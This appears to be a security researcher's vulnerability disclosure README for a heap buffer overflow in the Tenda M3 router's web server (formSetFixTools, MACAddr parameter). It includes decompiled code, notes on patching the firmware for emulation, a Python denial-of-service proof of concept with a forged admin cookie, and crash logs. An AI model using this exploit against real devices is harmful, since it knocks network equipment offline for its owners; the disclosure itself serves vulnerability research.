

🔑 main ▾ Vuln / Tenda M3 / formSetFixTools_Mac /



xxy1126 update 20220820 ...

on Aug 19 ⌚ History

..



readme.assets

3 months ago



readme.markdown

3 months ago



readme.markdown

Tenda M3 contains heap Overflow Vulnerability

overview

- type: heap overflow vulnerability
- supplier: Tenda <https://www.tenda.com>
- product: TendaM3 <https://www.tenda.com.cn/product/M3.html>
- firmware download: <https://www.tenda.com.cn/download/detail-3133.html>
- affect version: TendaM3 v1.0.0.12(4856)

Description

1. Vulnerability Details

the httpd in directory /bin has a heap buffer overflow. The vulnerability is in function formSetFixTools

It calls `malloc(0x28)` to allocate heap buffer, and it copies POST parameter `MACAddr` to heap buffer.

```
v52 = malloc(0x28u);
if ( v52 )
{
    memset(v52, 0, 0x28u);
    v51 = (char *)webGetVar(a1, "lan", "br0");
    v66 = (char *)webGetVar(a1, "MACAddr", &unk_A8F38);
    v50 = (char *)webGetVar(a1, "port", &unk_A8F38);
    v49 = (char *)webGetVar(a1, "protocol", &unk_A8F38);
    v58 = (char *)webGetVar(a1, "timeout", "1");
    v21 = (char *)v52 + 20;
    v22 = v66;
    v23 = strlen(v66);
    strncpy(v21, v22, v23);
}
```

It didn't check the value of `v23` and calls `strncpy`, so there is a heap overflow.

2. Recurring loopholes and POC

use `qemu-arm-static` to run the `httpd`, we need to patch it before run.

- in `main` function, The `connectCfm` function didn't work properly, so I patched it to `NOP`
- The `R7WebsSecurityHandler` function is used for permission control, and I've modified it to access URLs that can only be accessed after login

poc of DOS(deny of service) **(We need to send request twice)**

```
import requests

data = {
    "networkTool": "3",
    "operation": "start",
    "MACAddr": "a"*0x800
}

cookies = {
    "user": "admin"
}

res = requests.post("http://127.0.0.1/goform/setFixTools", data=data, cookies=cookie
print(res.content)
res = requests.post("http://127.0.0.1/goform/setFixTools", data=data, cookies=cookie
print(res.content)
```

```

Program received signal SIGSEGV, Segmentation fault.
0xff5e8e1c in malloc () from /home/tmotfl/IOT/TendaM3/_US_M3V1.0BR_V1.0.0.12(4856)_CN&EN_TDC&TDE01.bin.extract
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[ REGISTERS ]
*R0 0x3
*R1 0x61614ed1
*R2 0xd1160
*R3 0x2011
*R4 0x2010
*R5 0xff6034f8 → 0x6d440 (formGetWtpAdvPolicy+3396) ← mov r0, r3 /* 0xe1a00003 */
*R6 0xcf150 ← 0
*R7 0xff6091b4 ( __malloc_state+52) ← 0
*R8 0xda48 ( __init) ← mov ip, sp /* 0xe1a0c00d */
*R9 0xff609180 ( __malloc_state) ← 0x49 /* 'I' */
*R10 0xff609354 ( __malloc_state+468) → 0xff60934c ( __malloc_state+460) → 0xff609344 ( __malloc_state+452) →
...
*R11 0x9e0
*R12 0x9e0
*SP 0xffffef4b8 ← 0
*PC 0xff5e8e1c (malloc+1168) ← str r1, [r2, #4] /* 0xe5821004 */

[ DISASM ]
► 0xff5e8e1c <malloc+1168> str r1, [r2, #4]
0xff5e8e20 <malloc+1172> b #malloc+380 <malloc+380>
↓
0xff5e8b08 <malloc+380> add r6, r6, #8

```

```

Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
/bin/sh: can't create /proc/sys/net/ipv4/tcp_timestamps: nonexistent directory
httpd listen ip = 127.0.0.1 port = 80
webs: Listening for HTTP requests at address 20.246.254.255
Debug->tpi_systool.c: tpi_get_tcpdump_output(1465)--cmd:
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1] 13993 segmentation fault sudo chroot . ./qemu bin/httpd

```